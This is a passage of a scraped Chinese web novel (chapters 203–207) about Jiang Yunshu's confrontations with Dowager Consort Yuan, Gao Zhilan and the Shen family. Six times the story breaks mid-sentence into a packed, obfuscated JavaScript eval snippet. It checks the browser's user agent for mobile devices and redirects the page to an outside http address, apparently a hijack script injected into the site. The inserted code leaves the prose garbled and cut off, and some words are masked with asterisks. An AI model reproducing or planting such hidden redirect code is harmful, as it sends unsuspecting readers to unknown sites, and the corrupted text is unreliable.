“雷统领教他们的阵法是护卫阵,可这对于暗卫来说,缺了几分杀伐感。”她忍不住点评。 暗卫不止要护卫主子安全,还要有最快的反应速度消除危险来源,这要求甚至比**还要严苛。 姜云舒不语,只看着赤羽卫以绝对的碾压优势将那三十六颗高傲的头颅压下来,这才起身走出凉亭。 此时,暗卫队众人已经被打得趴了一地,这边赤羽卫虽也有不同程度伤痕,却都是站着居高临下俯视他们的。 “我身边的侍卫,六个人打你们三十六个,你们以后是要在皇上身边做暗卫的,以你们的现在的程度,需要练多少年?你们要皇上等多少年?” 她的声音不大,可字字句句如千斤坠砸在他们身上。 此时众人的面色如同被雷劈了一般,眼神都涣散了。 听得姜云舒的话,龇牙咧嘴地站起身来,面面相觑,最终视线落在闪电眉身上。 “卑职有眼不识泰山,还请大人指教!”闪电眉上前一步。 方才练手时,姜云舒就已经注意到这闪电眉,不管是招数还是布阵,众人都在无形中随着他的安排行动。 姜云舒睨了他一眼,仰起头看向众人,“我做事要有绝对的掌控权,你们既愿意随我训练,那么自今日起,你们,唯我的命令是从,如有违抗,不管什么原因,滚出这个队伍!” 说完,略微歪了歪头看向闪电眉,“可听 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16197312|180412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明白了?” “是!” 闪电眉应声。 姜云舒勾了勾唇角,又看向众人,她不说话,只等众人回应。 “卑职唯大人军令是从!” 片刻后,众人呼应。 姜云舒眉梢微挑,抬手摆了摆,赤羽卫便带着众人分队列阵。 久经战场,即便姜云舒未有训练暗卫的经验,但她自小都是在书房中听着父兄练兵的声音入睡,而她在作战中,更明白自己要的是一支什么样的队伍。 以战场为缩影,所谓的暗卫便是她最想掌控的一支奇袭部队,除了她,此时收回的赤羽卫亦是所谓的奇袭部队的前身。 接下来的几日,姜云舒和月禾便同众人留在万踪林中训练,这七日之中,她并未着急统筹训练,而是交给众人一个任务,刺杀她。 众人从一开始的跃跃欲试,到怀疑人生,再到全心折服,只用了七日。 且不说赤羽卫,只姜云舒和月禾,他们的九人小队都被打得七零八落,每个人身上都被姜云舒的长鞭抽得皮开肉绽。 **,众人一时间怀疑姜云舒应该是从哪里被招安来的**。 姜云舒亦未表露身份,在众人好奇心激发到顶时,她要走了。 “我又不是雷放,专门管着皇上一众侍卫,除了练你们,我还有别的事情要做!” 姜云舒拒绝闪电眉再一次挑战时,如是说,随后一道令下,将众人交给了赤羽卫。 自万踪林离开,姜云舒和月禾的马车飞快朝着京城驶去,路上,月禾忍不住感叹一声。 “没想到,赤翎这几个人还挺有用!” 当初他们在沈清安身边时,月禾恨不得扒了他们的皮。 姜云舒正倚在马车里闭目养神,听得月禾的话没睁眼,只是眼皮动了动。 “他们可是我爹亲手训练出来的人,自然是有用的,当初……” 话音戛然而止,姜云舒倏地睁开眼睛,抬手掀开车帘,就见人群之中,一侍卫突然冲出来,拦在了她的马车前。 第203章 我现在就可以入赘县主府 “什么人,竟敢拦截县主的马车?”月禾怒喝一声。 “卑职乃渊政王府侍卫,元太妃有要事与县主商议,还请县主前往一叙。”侍卫上前行礼。 姜云舒透过马车的车帘往下看,视线落在那侍卫脸上,一身锦缎装束,说是来“请”,手中却带着剑。 只是一叙,何必这般大张旗鼓? 到底是京中权贵,即便渊政王并不在京城,元太妃这势头也是做得很足。 不过人都到了跟前,姜云舒也想听一听元太妃与她有什么要叙的。 “既然是元太妃相邀,那便去吧!” 姜云舒轻描淡写的应一声,随即转身坐了回去。 侍卫上前,似是引路又似乎是怕姜云舒跑了,一路跟在马车旁边。 姜云舒并不理会,依旧靠在马车上闭目养神。 一炷香后,马车缓缓停下,月禾伸手掀开车帘,发现他们去的不是渊政王府,而是明月楼。 “明月楼,也是渊政王府的地界儿,倒也没错。”月禾扭头看姜云舒,朝她伸出手来。 没有去渊政王府,反而在姜云舒的意料之中,她起身下车,随着进了明月楼。 “哦,县主来了,快请上楼!” 掌柜见姜云舒来,依旧笑着迎了出来,只是此时的笑容似是还藏着几分心思。 想来是得了元太妃的命令,他直接带着姜云舒去了元太妃的雅间。 随着几声轻扣,门自里面打开,是元太妃身边的大丫鬟,豆蔻。 “县主里面请。” 姜云舒随着往里走,就见元太妃手持佛珠口中念念有词,听到动静,她没有立刻睁眼,只是朝豆蔻摆摆手。 “先出去吧,我要单独与乐安县主说说话。” “是!” 豆蔻应声,转身往外走时,还给月禾传递了一个眼神。 月禾自然不听元太妃的指令,扭头看姜云舒,见她点头这才跟着往外走。 房门自外面关上,姜云舒上前一步,向元太妃行礼。 “参见元太妃。” “嗯。” 元太妃这才睁开眼睛,视线在姜云舒脸上扫过,片刻,朝她摆摆手,“起来吧!” 姜云舒闻言起身,在元太妃打量她的时候,也在观察着元太妃。 虽说当年父亲与渊政王私交甚好,又是战场上拼出来的兄弟,两家关系好到定了娃娃亲,但对于元太妃,姜云舒并不了解,便是回到京城,因为退婚的缘故,有些场合也下意识避开。 正想着,元太妃抬手将佛珠放在桌上,视线在姜云舒脸上扫过片刻,开口。 “女子休夫,在我大瑞朝还是头一份儿,乐安县主真真是有魄力。” 这话说得阴阳怪气,姜云舒抬头与她对视,同样回给了她一个略带敷衍的笑。 “所嫁非良人,我只是不愿委屈自己。”她如是说。 “呵,所嫁非良人。”元太妃哼笑一声,“当初你可是为了那沈探花退了我渊政王府的亲!” 这是,兴师问罪? 姜云舒眉心微蹙,正要说话,却听元太妃似乎并没打算听她说,依旧接着说。 “退了就退了,以后我们两家各自安好,渊政王府虽然是外姓王,可也算是贵胄,这脸面丢过一次,便不能有第二次。” 话似乎说了一半,只等姜云舒自行体会她没有说出口的另一半。 姜云舒抿唇,自然明白她后面的意思,只是,她并不接受元太妃这个非亲非故之人的教诲。 “元太妃不在淮州,大概不了解,两家联姻亦或者是退婚,都是父辈商定好的,所谓丢脸,是太妃太过在意他人传言。” 这意思,你管的有点多。 “你!” 元太妃当即冷了脸,而此时,姜云舒也并没有给她开口的余地,接着说。 “在谢世子回京之前,京城之中人人传言渊政王府世子谢无烬是**的活阎王,怎么,元太妃也是这样认为的吗?” 元太妃的脸色又跟着阴沉了几分,她瞪着眼睛,一时间竟不知如何反驳。 的确,她对于谢无烬,自他出生时,便将他视为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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姜云舒闻言脸色一沉,正要开口,就觉手臂一身,紧接着被一股温热的力量带着,转到了谢无烬身侧。 “唐将军战功赫赫,当年若非她率兵进京护驾,你们这些皇亲贵胄还不知要被关押在大殿到什么时候,你有什么资格编排她?你有什么不满,大可冲着我来!” 说着,他将姜云舒往身边拉了拉,“而且,你从一开始就错了,不是姜云舒纠缠我,而是我缠着她,但凡她点个头,我现在就可以入赘县主府!” 第204章 拥抱 入赘这个词,落在男子的头上,几乎都带着些许的“辱没”之意,尤其渊政王府这等高门贵胄,家中若出了一个入赘的,全家从此在京城抬不起头来。 “你,你混账!” 元太妃被他气得差点翻了白眼,她抬手指着谢无烬,手被气得直颤,“婚姻大事,你怎么敢!” 谢无烬瞧着元太妃几乎崩溃的表情,全然不在意。 “婚姻大事,媒妁之言,父母之命,父王是你生养,受着你的生身之恩,你搅和他的婚事,他受着,但是你没有权利插手我的婚事!” 说着,他朝元太妃身侧靠近几分,音声阴恻,“左右我在世人眼里也是嗜血的恶鬼,父王不敢对您怎样,我可不一定,你若想用当年的手段对姜云舒,最好还是掂量掂量!” 这话传入元太妃耳朵里,却如同一道惊雷劈在面前,太妃的脸色当即就白了。 “你,你敢!”太妃的嘴唇都在颤抖。 “嗯,我敢!” 谢无烬瞧着元太妃的反应,哼笑一声,起身离她远一些,压迫感却并未收敛分毫。 “当年你将我扔进莲花池时,我们之间已经隔了一条人命,别跟我说什么礼仪仁孝,我没有!” 说着,不给元太妃开口反驳的机会,转身拉过姜云舒的手。 “阿舒,我们走!” 元太妃怔愣的站在原地,眼睁睁看着谢无烬拉着姜云舒离开,心口瞬间涨起一股莫名怒意。 这股怒火在胸腔冲撞流窜,却找不到发泄之处,只憋得她脸色涨紫,呼吸困难。 另一边,姜云舒和谢无烬上了马车,随着车夫一声鞭响,马车晃晃悠悠移动起来。 两人坐在同一侧,姜云舒被拉着的手一直没有放开,大概谢无烬还沉浸在自己的情绪之中,并没有注意到,姜云舒的手几乎要被他攥麻了。 姜云舒见她脸色不好,一时间也并没有收回手,而是抬起另一只手在她肩膀上安慰的拍了拍。 “你……” 一个字刚出口,谢无烬忽然转过身来,下一瞬,她便被两条有力的双臂紧紧抱住。 突然的贴近,温热的气息让姜云舒骤然僵住,正要说话,耳边传来谢无烬湿漉漉的声音。 “我想我娘了……” 娘……他的娘,渊政王妃。 姜云舒不知道渊政王和渊政王妃之间发生了什么,但她听说,自从渊政王妃离开后,谢无烬的恶名才传出来的。 她自小生活在父母和兄长的疼爱之中,蜜罐子里长大的孩子,从未尝过亲情的苦,她不能感同身受,只能安慰。 她迟疑片刻,僵在空中的手调转方向,在谢无烬后背拍了拍。 “如果真的想她,就去看看她吧。” 不管渊政王妃和渊政王之间发生什么,谢无烬都不是她人生中避之不谈的过往。 许是她的声音带着某种治愈的因素,谢无烬收紧胳膊,将她抱得更紧。 姜云舒被抱得有些闷,想要推开,可一瞬感觉到他在颤抖,最终叹一口气,双手落在他后背上,回抱住他。 他的身体很暖,胸膛很宽,抱起来……很舒服! 马车晃晃悠悠朝着县主府的方向疾驰,最后在门口缓缓停下。 “世子,咱……” 卫临冲的声音在掀开车帘的一瞬间戛然而止,视线落在谢无烬搂在姜云舒身上的手臂,眼睛瞪得老大。 谢无烬被打扰,眼底霎时闪过一抹杀意,咬着牙,低低地从嘴里挤出两个字。 “还看!” “没,没看见,你们继续!” 卫临冲舌头打颤,说完猛地将车帘放下,逃命似的从马车上蹦了下来。 马车的车帘重新遮盖下来,谢无烬收敛满眼的戾气,低头看着怀里的人,无奈叹一口气。 安慰别人的人,怎么安慰着自己竟然睡着了? 不过,她能就这样睡着,是不是说明,自己是她可以卸下防备的人? 谢无烬的视线落在姜云舒脸上,感觉到她平缓的呼吸,忍不住抬手在她脸颊上捏了一下。 温暖的,柔软的,这种感觉很微妙,是他从未有过的触感。 马车在县主府门口停留了一段时间,谢无烬才将她打横抱起来,许是动作大了些,姜云舒那双如翼的睫毛忽闪一下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16202280|180412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,睁开了眼睛。 “你……我……” 她懵了一下,随即意识到自己正挂在谢无烬身上,当即脸上漾开一抹酡红。 “我大概太累了……”姜云舒给自己找补。 这倒也不是找借口,在万踪林训练的这几日,她作为被“刺杀”对象,神经时时刻刻都在紧绷着,如今一松懈下来,倦怠困意就来了。 “嗯,你辛苦了。” 谢无烬细细看着她红着脸颊的模样,突然想逗逗她,“姜云舒,你说梦话了!” “我?我说什么了?” 姜云舒一时间面露紧张。 谢无烬往她身边靠近几分,“你说,你喜欢我,如果这世上真的没有人要我,你就要我。” 他说得很认真,认真到姜云舒自己都怀疑了,她忽闪着眼睛看他,脑子里快速回想梦里究竟梦到了什么。 然而,除了感觉这一觉睡得很好,她什么都没有想起来。 “姜云舒,日有所思夜有所梦,便是梦话也是从你口中说出来的,你不能不认。”谢无烬正了正神色。 姜云舒瞧他一脸认真,犹豫着抿了抿唇。 “知道了知道了,你堂堂渊政王府世子,会没有人要?” 姜云舒逃避一般从他身边往后挪了挪,转身掀开车帘往下走。 她走的太急,没有注意到谢无烬在他身后略带戏谑的笑。 两人先后下了马车,正往里走,此时,县主府门口忽然冲出一个人来。 姜云舒眸光一凛,习武之人的本能反应,当即一拳就要打出去,却在看清楚是高芝兰时,又收住了力道。 “高芝兰,你来这里做什么?”姜云舒顿时皱起了眉头。 谢无烬瞧见高芝兰的下一瞬脸色也跟着阴沉下来。 好不容易跟沈家断了联系,他们怎么还像狗皮膏药一样,反而贴上来了! “姜云舒,县主,我求求你,救救长元吧!” 高芝兰脸色难看,声音带着哭腔,不等姜云舒问,她便主动说起来,“长元,长元前几日逃学,被狗**,咬伤了腿,那些是野狗,我求求你,救救他!” 第205章 坦白 姜云舒后退一步,沉着脸看她,眉梢挑起。 “被野狗**,高芝兰,这难道不是报应吗?当初你将野狗带入城纵容野狗伤人时,你可曾想过,被咬伤的人中,也有一个孩子?那孩子甚至比沈长元的年纪还要小!” 乱葬岗里的野狗吃的是死尸,眼珠子都是红的,当初若不是茂春拼死护住那个孩子,那孩子怕是要被野狗撕咬吃了。 高芝兰脸色惨白,她抬头看着姜云舒,嘴角颤抖着。 “是我咎由自取,我宁愿报应落在我自己身上,也不愿长元受到一点伤害,我求求你,救救长元吧!” 她哭的一把鼻涕一把泪,然而,这满脸的凄惨却并没有激起姜云舒的丝毫同情。 “当初我师父已经很仔细的教过你尚品堂的大夫如何处理,尚品堂虽撤出了繁荣街,但你那里的大夫还能找到,你不去找他们,来找我做什么?” “我,我没有解毒剂……”高芝兰缩了一下,眼神闪烁,“如今薛神医在宫里见不到,我只能来求你了。” “可我又凭什么要救你的孩子?”姜云舒冷笑一声。 她又不是什么大慈大悲的菩萨,当初沈清安和高芝兰对她处处陷害,她到如今还留着他们的狗命,只是因为他们还有利用之处,如今要她不计前嫌救一个小狼崽子,姜云舒自认为没有那个慈悲心。 高芝兰被姜云舒一句话堵得白了脸,她咬了咬唇,脸皮也不要了。 “县主,你到底养了长元两年,这孩子是寒了你的心,可当初是我引导他,有什么怒气你冲着我发,他还那么小,你大人有大量,原谅他这一次,行不行?” 这话说得,不要皮不要脸,听得姜云舒忍不住笑出了声。 “高芝兰,你求我宽宏大量,却又拿着所谓的母子情分**我,可你想没想过,即便不是你引导,自你出现在我面前的那一刻,我和沈长元的母子情分就已经断了。” 的确,沈长元还小,有些事情怪不到他头上,可从一开始,他出现在姜云舒面前时,他们的母子情分便是带着欺瞒背叛来的。 “我,是我的错,都是我的错!” 高芝兰哭喊着,双腿一软跪在了姜云舒跟前,“县主大人,以前都是我的做,我没有办法请你既往不咎,只要你答应救长元,要银子,亦或者让我离开沈清安,甚至要我给你当牛做马,都行,只求您救救长元的命!” 她的眼泪顺着眼角落下,这一次,倒是真情实意。 姜云舒站在原地居高临下的看她,突然感觉,挺没意思的。 “呵,你这意思,我家小姐是因为你的出现而负气离开沈家?你可别太把自己当回事了,你当成宝贝的沈大人,我家小姐还嫌脏呢!” 月禾从里面出来出来,指着高芝兰就骂。 高芝兰被骂得脑袋抬不起来,眼泪挂在脸上都跟着一起僵住。 不,不是吗? 在她看来,她和姜云舒的矛盾就是在于沈清安,如果不是她处处争抢,想着将姜云舒排挤出沈家,姜云舒也不至于舍弃夫家。 可如今月禾这一番话迎面而来,让她一时间思考不急,愣在原地。 她不知如何回答,只是一味地求情,“求县主救救长元,不管如何,我都答应!” 此时夜幕尚未落下,随着高芝兰的哭声,一时间引来了不少围观看热闹的人。 姜云舒不习惯这种被围观的感觉,她蹙了蹙眉,抬手让高芝兰起来。 “进来再说。” 说完,她扭头往县主府走,刚走两步又停下,回过头来看谢无烬。 “明日,我想吃你上次带过来的麻椒鸡。”姜云舒说。 谢无烬顿了一下,微微勾起唇角,应了一声。 “好,明日我来接你。” 说完,转身又去了马车。 姜云舒看着谢无烬的马车离开,转身往里走,身后高芝兰怔愣片刻,紧忙起身跟了上来。 到了前厅,白芷已经将姜云舒常喝的茶端过来,没有给高芝兰上茶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16207130|180412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 她不是客人,没有招待的必要。 “恐水症的药我可以给你,但在给你之前,你要如实回答我几个问题。”姜云舒目光沉冷。 在进入县主府的一路上,高芝兰已经在心里预想了多个可能,姜云舒这番话也在她的预判之中。 “是,我一定知无不言!”高芝兰应。 “第一个问题,当年我与沈清安成婚之前,你们是如何筹谋骗婚的。”姜云舒这话说得很直白,由不得高芝兰再打马虎眼。 “没错,当年沈清安的确是骗婚。” 高芝兰深吸一口气,苦笑着摇摇头,“当初相公高中探花,本来是要接我和长元进京相聚的,可就在我们进京之前,你遇上了他,当时的定国将军府如日中天,甚至是被皇室还要高攀不得的存在,他说他不敢得罪你们,让我在岩城等消息,待他安置稳定之后,会找一个妥当的理由接我们回去。” “可我还没等到他来接我,先等来了洪水,当初岩城还出现了疫病,长元年纪尚小,我怕他体弱扛不住才将他送来了京城……” 她的陈述还没说完,耳边传来姜云舒一声冷哼,她下意识抬起头来,却见姜云舒看向她的眼神里带着嘲讽。 “高芝兰,我与你本无交情,你也别想着用侄子无辜来**我的良心,你若道现在还不说实话,就从我眼前消失!” 她的眼神突然冷了下来,那眸中的犀利之色直看得高芝兰心中猛地一缩。 “我……” 高芝兰慌了,眼神闪烁之间,突然发现,此时在姜云舒面前,她似乎并没有什么能以遮掩的,那双精锐的眼睛似乎早已经看穿了她。 “我说,我说实话!” 她深吸一口气,似是下定了眸中决心,重新开口,“他担心得罪定国将军府是真,可我当时并不接受,便与他闹,后来他才不得不说,是有人给他下了命令,让他娶你,他若不娶你,沈家会有灭顶之灾。” 姜云舒眸光一凛,“是什么人?” 第206章 拿命换来的 “我不知道究竟是哪一位,但从往常了解,那位大人物是朝中权贵,相公很谨慎,每每涉及那位大人物的事情,他总是不让我多问,如今我只知道,他似乎不在京城。” “不在京城……” 姜云舒蹙眉思量,脑子里快速闪过不在京城的,大人物。 既然当时不在京城,那便不能是舞阳侯,舞阳侯是在定国将军府出事之后才去的北域。 而所谓的权贵,姜云舒脑子里迅速闪过几个人的名字,却又一时拿不定主意。 想不出,她扭头又看向高芝兰,“我答应帮你救治沈长元,但作为交换,你要帮我调查出沈清安背后那个人。” “这……”高芝兰迟疑了,一脸为难的开口,“相公对这件事很保密,我之前与他在岩城三年,所知消息屈指可数,如今他与我不复从前,这岂不是更难?” “这是你的事,你自己想办法。” 姜云舒打断她,随即视线落在她的腹部,话锋一转,“你明明有了身孕,为何不敢对外公布?” 这话出口,高芝兰猛然抬头,原本疲态的脸上多了一丝震惊。 她下意识要否认,可尚未开口,却听姜云舒又接着说。 “南疆传来消息,南疆王不日回京,沈清安想要迎娶那位出逃的郡主进门,你肚子里的孩子对于他来说,就是一个绊脚石,所以你才不敢说。” 说着,姜云舒扭头,视线紧紧的盯在高芝兰脸上,“为了这样一个人,你值得吗?” 的确,高芝兰一开始不敢跟沈清安提及这个孩子的存在,可除了姜云舒所说,她似乎潜意识里更怕面对沈清安的冷漠和绝情。 此时姜云舒的一问,高芝兰脑子里紧绷地那根弦,好像突然一下子就断了。 “值得,什么才是值得呢?” 她抬头迎着姜云舒的视线,笑容苦涩,“姜云舒,你出身高贵,自小锦衣玉食,又有父兄疼爱,怎么能体会到我这种人的心酸?你说他不值得,你便可轻易拿到圣旨成为大瑞朝第一个休夫之人,可我呢,离开沈家,我可能连活路都没有!” 她说着,颓然的往后退了两步。 这些年,她看起来在岩城之中四处奔走,拉拢了不少人际关系,可她更清楚,若是没有沈清安,她一个女人带着孩子根本就没有立足之地。 从她出生开始,在家依附父兄,出嫁之后依附丈夫,以后老了便是依附儿子,在她看来,这都是顺其自然的事,可偏偏在她以为的顺理成章之中,出现了一个姜云舒。 她看着姜云舒,眼眶微红,她羡慕,她不甘心,可又无能为力。 “姜云舒,你高贵,你清冷,你可以挺着胸膛生活,我也想这样,可是不行,我只能依附男人才能存活。” 姜云舒同样低着头看她,看她红了的眼眶中忍着泪水,看她因为不甘心而瞪大眼睛。 “你在委屈什么呢?” 姜云舒眸光沉了下来,“你嫉妒我家世显赫,从容洒脱?你却不知道,这都是拿命换来的!” 话音落,她倏然撩开衣袖,将手臂抬到高芝兰面前。 高芝兰楞了一下,随即看到姜云舒那原本白皙娇嫩的手臂上,几道还泛着红的疤痕,那么长的疤痕,当即吓了她一跳。 “你,这……”高芝兰瞪大眼睛,语无伦次。 “知道我那休夫圣旨怎么来的吗?太后下葬那日,我为了救皇上,**手捅了个对穿,手臂上这些伤只不过是最不起眼之处,我拿命换我的自由,你敢吗?” 姜云舒居高临下,欣赏着高芝兰脸上因震惊而发白的表情。 高芝兰张张嘴,可一句话都说不出来。 她只知道姜云舒替皇上挡了刀,可话从别人嘴里传出和亲眼所见带来的震撼是不一样。 姜云舒将高芝兰的表情变化尽收眼底,再加一把柴。 “除了给皇上挡刀,这样的伤痕,我身上还有无数,每一道都是作战时留下的,我的父母兄长身上的伤痕更多,八年前,北夷进犯,以边境一村的百姓为人质,我娘乔装混入村中与父亲打配合,成功救下了一村的百姓,却在撤退时,为了护住一个孩子,被**刺穿了腰腹,你知道吗,那个时候她肚子里还有一个尚未成型的孩子,高芝兰,你以为的悲惨,在我们眼里算什么?” 许是她的气势太过凌厉,高芝兰被逼得后退一步。 “我……你……” 她嘴角动着,可是依旧说不出一句话来,眼中甚至还莫名多了几分惊恐。 姜云舒看情绪烘托差不多了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16207131|180412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,沉一口气,给她灌最后一碗汤药。 “我父母兄长守护边境多年,用一身伤换得边境安稳,最后却落得一个通敌的下场,我又跟谁要公平?所以,高芝兰,如果你对我没有任何价值,我也没有心思和你多费口舌,更没有义务帮你,哪怕沈长元只是一个孩子。” 高芝兰呆愣在原地,眼神闪烁之间,不知是被姜云舒身上的伤痕震慑到,还是自己想明白了什么,她犹豫片刻,双膝弯曲跪在姜云舒面前,郑重地磕了一个头。 “只要你能帮我留下这个孩子,我都听你的!” 不得不承认,姜云舒的话字字玑珠。 高芝兰很清楚,依靠她自己,或许根本没有能力留住这个孩子,而她的怨天尤人,在姜云舒眼里也根本不值一提,打可怜牌没有用,只有她有了价值,才值得姜云舒出手帮忙。 “你怀着身子,起来说话。”姜云舒抬了抬手,让高芝兰起身。 “只要你依照我的安排,我可以保证你肚子里的孩子平安无恙,也会即刻派人去给沈长元治疗,而我要你做的,已经跟你说的很明确了。” 姜云舒说着,招招手,外面等着的月禾便进了大厅。 “你去一趟仁春堂,请姜大夫带上恐水症的针剂到沈家。” 姜云舒吩咐一声。 月禾应声转身往外走,姜云舒则随着高芝兰同样往外走去沈家。 沈宅。 历经休夫一事,沈清安一时间成了京城市井始终茶余饭后的议论话题,除了丢人,沈家的六进院子在月禾和裴钰的一通拆砸之下,也换成了如今的二进院子。 闲人太多,银子花销过高,老夫人还做主遣散了一批丫鬟婆子,如今的沈家虽说不上清冷,可相比之前,如今真真算得上是寒酸了。 高芝兰一心想着沈长元,直接带着姜云舒去了后宅。 此时沈长元正躺在床上,有些日子没见,这孩子似乎长高了一些,也比之前清瘦了,大概是受伤的缘故,原本还算红润的小脸,此时蜡黄蜡黄的。 听得动静,沈长元睁开眼睛,在瞧见是姜云舒的一瞬间,原本无神的眼睛陡然震惊瞪大。 “母亲,母亲你终于来了!” 沈长元大喊一声,“哇”地哭了出来! 第207章 告他骗婚 这一声“母亲”喊得众人脸色均起了变化。 周边丫鬟妈妈一脸正震惊的看向姜云舒,又扭头看看高芝兰,一个个紧张地屏住呼吸。 高芝兰下意识攥起了拳头,原本疲累的面上表情酸涩又微妙,可这个时候,她不敢在姜云舒面前表现出任何。 相比众人表情变化明显,姜云舒站在窗边,居高临下,看着沈长元哭得一脸崩溃,下意识皱起了眉头。 要说没有触动是不可能的,可经历了这么多事,沈长元再开口喊她“母亲”时,时过境迁,最后留下的只剩一阵憋闷。 姜云舒没应,只让紧随着他们过来的姜大夫进来。 “姜大夫,麻烦你了。”姜云舒吩咐一声。 姜大夫紧忙拎着药箱子过来,处理伤口,打针,然后开药,大概是之前做得多了,到沈长元这里竟也有种行云流水的感觉。 就挺讽刺的。 姜云舒坐在外间喝茶,眼看姜大夫这边就要结束,此时院子外面传来脚步声,一众下人抬着老夫人到了院子里。 之前崇光寺供奉**会回来的路上,沈家的马车遭遇马孑蜂,沈老夫人的马车惊了,撞在石头上,将老人甩出了马车。 此时的沈老夫人,除了被马孑蜂蛰了一脸一身的包,身上也有多处损伤。 姜云舒没想到她竟然还能身残志坚的在这个时候出门。 正想着,老夫人已经被众人抬进了屋。 软塌轿子落下,沈家老夫人努力地睁开被马孑蜂蛰肿了的眼睛,看向姜云舒。 “云舒,是你吗云舒?” 沈老夫歪着身子朝姜云舒伸出手来。 姜云舒瞧着,并没有抬手迎上去,只是淡淡的应了一声。 “老夫人。” “云舒,是你啊,真的是你!” 老夫人声音之中瞬间带了哭腔,说话间,又朝姜云舒伸出手。 “你不知道,自从你离家之后,我有多想你,以前是我不好,是我没有好好护着你,我原以为,高氏到底是长元他娘,有些事情都是理所当然的,是我糊涂啊……” 一边说着,眼泪从老夫人那双肿到几乎睁不开的眼睛缝里流了出来。 姜云舒看着老夫人哭得悲伤欲绝,脸色却一点点冷了下来。 “离家”两个字用得微妙,仿佛姜云舒只是负气离开,并不是与她沈家**。 而现在,姜云舒透过她那满脸的伤心的确看到了后悔,只是所谓的后悔不是对她不好,而是她离开之后,沈家享受的优待都没了。 姜云舒只是看着她不说话,只让气氛一时间有些尴尬,老夫人顿了顿,转了话锋。 “你来了,长元这算是有救了吧?这孩子到底是在乎你的,这两天日躺在床上,一直喊着要见你,这……” 说着,老夫人抬手抹了一把眼泪,试探开口,“云舒,你能不能有空的时候就回来……” “老夫人,我们已经不是一家人了,我这次过来,是因为高芝兰求到了我门上,我答应过来,看的也不是人情,而是银子。” 姜云舒的拒绝之意很明显,老夫人一时语塞,张张嘴说不出话,又忍不住哭了起来。 姜云舒有些烦躁,皱着眉头正想离开,却见院外门口有人来,正是沈清安。 进了院子见老夫人正在对着姜云舒哭,沈清安愣了一下,抬脚走了进来。 “母亲,你这是在做什么?是我们沈家对不起云舒,您别这样逼她。” 他语气不轻不重的埋怨一声,随即朝下人吩咐一声,“来人,将老夫人送回去!” 一时间几个妈妈过来,招呼着将老夫人抬走。 等众人离开,沈清安转向姜云舒。 “我知道你不愿与沈家再扯上关系,只是没想到芝兰还是去找了你,我知道你心地善良,你能出手救长元,我该谢谢你。” 说着,抬手接过丫鬟送来的茶,转手递到姜云舒面前。 姜云舒低头看了一眼,没接,“沈大人不必道谢,高夫人已经给了我银子,拿人钱财,**,如今姜大夫已经为沈长元诊治,沈大人不如先进去看看他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16215040|180412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 说着,她抬脚准备往外走,这时,沈管家急匆匆走了进来。 “大人,岩城……” 声音在看到姜云舒的一瞬间,戛然而止,沈管家楞了一下,看向沈清安。 “无妨,直接说吧。”沈清安十分大度地摆摆手。 得了应允,沈管家这才接着说,“岩城来信,近日雨水重,唯恐药材在路上受了潮,若是能转卖,价格低一些也不是不能承受。” 说完,抬眼又看了姜云舒一眼。 姜云舒自然明白,他口中说的药材便是尚品堂的库存药材。 之前高芝兰设计姜云舒对赌,结果仁春堂安然无恙,她自己的尚品堂却落得个关门大吉的下场。 